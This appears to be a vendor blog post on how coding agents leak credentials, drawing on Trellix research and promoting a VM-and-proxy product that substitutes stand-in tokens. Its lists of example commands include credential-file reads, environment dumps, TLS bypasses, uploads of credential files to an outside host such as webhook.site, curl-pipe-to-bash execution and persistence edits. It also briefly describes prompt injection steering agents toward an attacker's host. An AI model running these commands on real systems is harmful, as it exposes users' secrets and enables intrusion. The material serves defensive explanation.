← Back to all posts
Published on · by Renaud Deraison

The transcript kept the token

On October 14, Trellix published research on what it calls the unseen credential surface: coding agents take secrets out of the keychain, put them on the command line, in shell history and in their own transcripts, and send them to the model provider, all as a side effect of ordinary work. Trellix lists ten classes of behavior, each done with a trusted binary, and says single-event telemetry can't tell them apart from a developer or an attacker. In Bromure Agentic Coding, every copy the agent makes is a stand-in, and the real value only exists on the Mac, on the wire, for the host it belongs to.

The token started in the keychain. One curl command later it was in the process table, the agent's transcript and a model provider's logs.

You ask your agent to "pull my profile from the Graph API." It finishes without asking you for a password. It calls a helper that decrypts your saved OAuth token from the keystore, and then it runs:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me

The request works. Along the way the token has landed in your endpoint telemetry, in the process table where other local programs can read it, in the agent's transcript on disk, and in the context window the agent sends to its model provider with the next turn.

That example opens The Unseen Credential Surface, published by Haowei Ren of Trellix on Tuesday, October 14. Cyber Security News covered it the next day. The research describes no exploit and no malware. It follows what agents do to secrets during an ordinary working day. Trellix starts from the assumption that an agent handles your credentials "as carefully as a good engineer would," and answers: "It does not. This is not due to malicious intent. It is architectural."

Five steps down

Trellix arranges every place a secret can live on a ladder, from safest to most exposed:

  1. Locked away, in Keychain, DPAPI or Credential Manager.
  2. In memory, inside one process.
  3. On the command line, readable by monitoring and other local processes, and often saved to shell history.
  4. Written to disk: shell history, config files, "and the agent's own transcript."
  5. Off the machine: committed, pushed, uploaded, "or sent to the model provider."

Agents move secrets down this ladder because that is the shortest path to a finished task. One step is new with agents. When you run cat .env, the secret appears on your screen. When the agent runs it, "the contents enter its context window and are sent to an external model provider, where they may be permanently logged." Trellix sums it up: "Human errors stay inside your walls; agent operations do not."

Ten ordinary commands

The research sorts the behavior into ten classes. Each example is a command you have typed yourself:

  • Credentials as arguments: curl -u, kubectl --token=…, mysql -p….
  • Credential files read: cat .env, ~/.aws/credentials, ~/.kube/config, ~/.git-credentials, ~/.docker/config.json.
  • Keychains asked for plain text: security find-generic-password -w, gh auth token, git credential fill.
  • The environment dumped: env, printenv | grep -iE 'key|token'.
  • TLS checks switched off: curl -k, NODE_TLS_REJECT_UNAUTHORIZED=0, git -c http.sslVerify=false.
  • Secrets shipped out: git add .env && git push, curl --data @~/.aws/credentials, gh gist create.
  • Hidden execution: base64 -d | bash, curl | bash, eval "$(curl …)".
  • Persistence: lines appended to ~/.bashrc or the crontab.
  • New credentials minted: ssh-keygen -N "", then the key added to authorized_keys.
  • Cloud vaults read out: aws secretsmanager get-secret-value, vault kv get, kubectl get secret.

Each class runs a trusted, signed binary that the same machine runs thousands of times a day for good reasons. A rule that fires when "a process read a .env file" fires on the editor, the linter and the test runner. Trellix's conclusion: "No step in the attack is missing from normal activity. A hunt tuned to catch it tends to fire on everyone or no one."

Trellix names prompt injection as the step from exposure to breach. The agent already reads secrets and sends data out. A poisoned README, issue or web page only has to point those habits at a host the attacker runs.

Keep the secret on the top rung

Trellix's fixes all reduce to one sentence: "Keep secrets on the top steps, or make an exposed secret worthless fast." Bromure Agentic Coding does both.

The agent runs in a Linux VM on your Mac. The real secrets stay in the Mac's encrypted vault, under a master key in the Data Protection Keychain, and never enter the VM. The VM gets stand-ins shaped like the real thing: ghp_ plus 36 characters for a GitHub token, sk-ant-api03-brm-… for an Anthropic key, brm-k8s-… for a cluster token, brm_… for anything you import from a .env file. Every HTTPS request the VM makes goes to a proxy on the Mac, which swaps the stand-in for the real value only when the request is bound for the host that credential belongs to.

So the agent can walk a token down all five steps. What reaches the command line, the shell history, the transcript and the model provider is the stand-in. The real value exists in one more place: the request the Mac re-encrypts toward the credential's own host.

One token, five steps downAgent on a laptop1 · KeystoreeyJ0eXAi… (real)2–3 · Process memory, then argvcurl -H "Bearer eyJ0eXAi…" (real)4 · Shell history, agent transcripteyJ0eXAi… (real)5 · Context window, model provider's logseyJ0eXAi… (real)Same live token on every step.Anyone who reads any one of them can use it.Agent in a Bromure machine1 · Vault on the Mac, outside the VMreal value: no path from the VM to read it2–3 · Process memory, then argv, in the VMcurl -H "Bearer brm_…" (stand-in)4 · Shell history, agent transcriptbrm_… (stand-in)5 · Context window, model provider's logsbrm_… (stand-in)Every copy the agent can make is a stand-in.No server accepts it, except through the Mac, for its own host.On the wire, at the Mac proxy:brm_… → real, to its own hostbrm_… to any other host → 451, VM paused
Trellix's ladder, on a laptop and in a Bromure machine. On the laptop, the same real token sits on every step. In the machine, every step inside the VM holds a stand-in, and the real value appears only on the Mac, in the request to the host it was minted for.

The ten classes in a Bromure machine

Run the same agent, with the same habits, in a Bromure machine. All ten classes still run, and each one comes back with less than it went for.

Arguments, files, keychains and the environment

The first four classes read a secret from a keystore, a file or the environment and put it on a command line. In the VM, all four find the same stand-ins.

env and printenv print stand-ins. ~/.git-credentials, ~/.docker/config.json and the synthetic ~/.kube/config hold stand-ins. A project .env that you imported with Import env file… in the machine's Credentials pane holds stand-ins under the same variable names, and your code reads them as before. gh auth token returns a ghp_ stand-in. ~/.aws/config points at a helper that hands out the access key ID paired with a 40-character fake secret key. The AWS CLI signs with the fake, and the Mac strips that signature and re-signs with the real key on the way out.

The top step of Trellix's ladder, the OS keystore, sits on the Mac, outside the VM. Inside, security find-generic-password has no Keychain to ask. The vsock channels that carry tokens between host and VM run one way: the host writes stand-ins in, and there is no request by which the VM can ask for a real token back.

SSH works the same way with no token. SSH_AUTH_SOCK in the VM is a bridge to an agent on the Mac. git push over SSH gets its signature, and ls ~/.ssh/id_* finds no private key.

The agent can paste any of these values into curl -H, log them, echo them into a script or quote them back to the model. Trellix asks agent builders to "redact credential-shaped strings before they enter the LLM context window." A Bromure machine meets that request before the agent opens the file: the file holds a stand-in from the start.

TLS checks switched off

Inside the VM, TLS ends at the Bromure proxy, under a certificate from a per-install CA that only your machines trust. The proxy opens its own connection to the real server through macOS's TLS stack, which validates the genuine certificate whatever the agent passed to curl. So curl -k or NODE_TLS_REJECT_UNAUTHORIZED=0 waives the check on Bromure's own certificate, and the Mac still checks the server.

The one way to skip upstream validation is a header, X-bromure-insecure: yes, meant for a private-CA server. On such a request the proxy injects no real credential and sends only stand-ins, and the Security Timeline records the use as an Upstream TLS row.

Secrets shipped out

curl --data @~/.git-credentials https://webhook.site/… uploads a file of stand-ins. The proxy scans every outbound request, headers and body, for any stand-in heading to a host other than the one it was minted for. A GitHub stand-in on its way to webhook.site gets HTTP 451, nothing is forwarded, the VM pauses, and the Mac shows This environment may have been compromised, with the token preview, the credential's name, the host it belongs to and the host the agent sent it to.

git push and gh gist create go to GitHub, where the token belongs. New machines start with the GitHub write policy at Prompt before write, so the push and the gist each pause for a dialog on the Mac that shows the operation, and you choose whether it proceeds. If you allow it, the file the agent committed holds stand-ins.

Hidden execution

base64 -d | bash hides the command from process telemetry, which records only the wrapper. Any request the payload makes still leaves the VM through the proxy: its requests meet the same stand-in scan, the Outbound connections firewall in the machine's Guardrails pane, and the trace. At the default tracing level, AI request details, the Mac keeps every exchange with the model provider, encrypted, and the Trace Inspector lists each tool call with its input, including the curl | bash line as the model wrote it.

Persistence and new keys

A line appended to ~/.bashrc lands in the VM's home. Rewind home… rolls that home back to an earlier checkpoint. The Mac's shell startup files are on the other side of the boundary.

An agent stuck at a passphrase prompt runs ssh-keygen -N "" to get unblocked. In a Bromure machine the SSH bridge already signs with the machine's key, so git over SSH works on the first try and the agent meets no prompt to get around. Registering a new key with GitHub is a write to the GitHub API, and it waits at the same Prompt before write dialog as a push.

Cloud vaults read out

aws secretsmanager get-secret-value needs a SigV4 signature, and only the Mac can produce one. Turn on Require approval to use for the AWS credential in Guardrails and the first signing in a session waits for Allow for 5 minutes, Allow for 1 hour, Allow for the rest of the session or Don't allow. The same switch exists for each Kubernetes context, so kubectl get secret waits until you say yes. Every AWS signing appears in the Security Timeline as a Credential used row with a masked access key.

For a database the agent queries over HTTP, such as the Mongo Data API, ClickHouse or Elasticsearch, you can drop the vault lookup: add the endpoint under Credentials → Databases, the VM gets a brm-db-… stand-in, and the proxy swaps it in the request body as well as the headers.

The sequence, tied to the agent

Trellix argues that the useful unit of detection is a sequence, credential access, then use, then egress, "tied back to the agent process that started the chain." Its recommendations for deployers end with short-lived tokens, locked-down egress, and treating every machine that runs an agent as "high-value, secret-handling infrastructure."

In Bromure, that unit is the machine: one VM with its own agent sessions. The Security Timeline puts every credential swap, exfiltration block, firewall verdict, write-policy decision and AWS signing in one table with a Workspace column, so the chain for one machine reads top to bottom. The trace for that machine holds the tool calls that produced each request. bromure-cli trace leaks lists the requests that carried a token to the wrong host.

The Mac also keeps token lifetimes short. Subscription sign-ins for Claude, Codex, Grok and Kimi refresh on the host about five minutes before expiry, and the VM never holds a refresh token. A value stored as a 1Password reference is re-resolved every two minutes, so a rotation in 1Password reaches the proxy without a restart. Set Unmatched traffic to Deny in the firewall and the machine reaches only the hosts you list.

Every copy is a stand-in

Environment, config files, imported .env values, gh and AWS CLI output: all stand-ins. Whatever the agent puts on a command line, in a transcript or in its context window is worthless off the wire.

The real value lives on the Mac

Secrets stay in an encrypted vault keyed in the Data Protection Keychain. The proxy swaps them in only for the host each one was minted for. SSH keys sign through a bridge and never enter the VM.

A stand-in in the wrong place stops the machine

A stand-in headed for any other host gets a 451, the VM pauses, and the Mac names the token, its home and its destination.

One timeline per machine

Swaps, blocks, firewall verdicts, write approvals and AWS signings sit in the Security Timeline, and the trace holds the tool calls behind them.

A working day

Trellix calls agents "one of the largest credential-handling systems in the modern enterprise," built by accident. You never chose to put the Graph token in a transcript. The agent needed it in a header, and it wrote the header on a command line.

Your agent will keep running env to debug a connection and cat .env to understand a project, whichever model or prompt you give it. Run it where those commands return stand-ins. For the alarm a stand-in raises when it leaves for the wrong host, read The agent leaked its own key and The key was your .env file.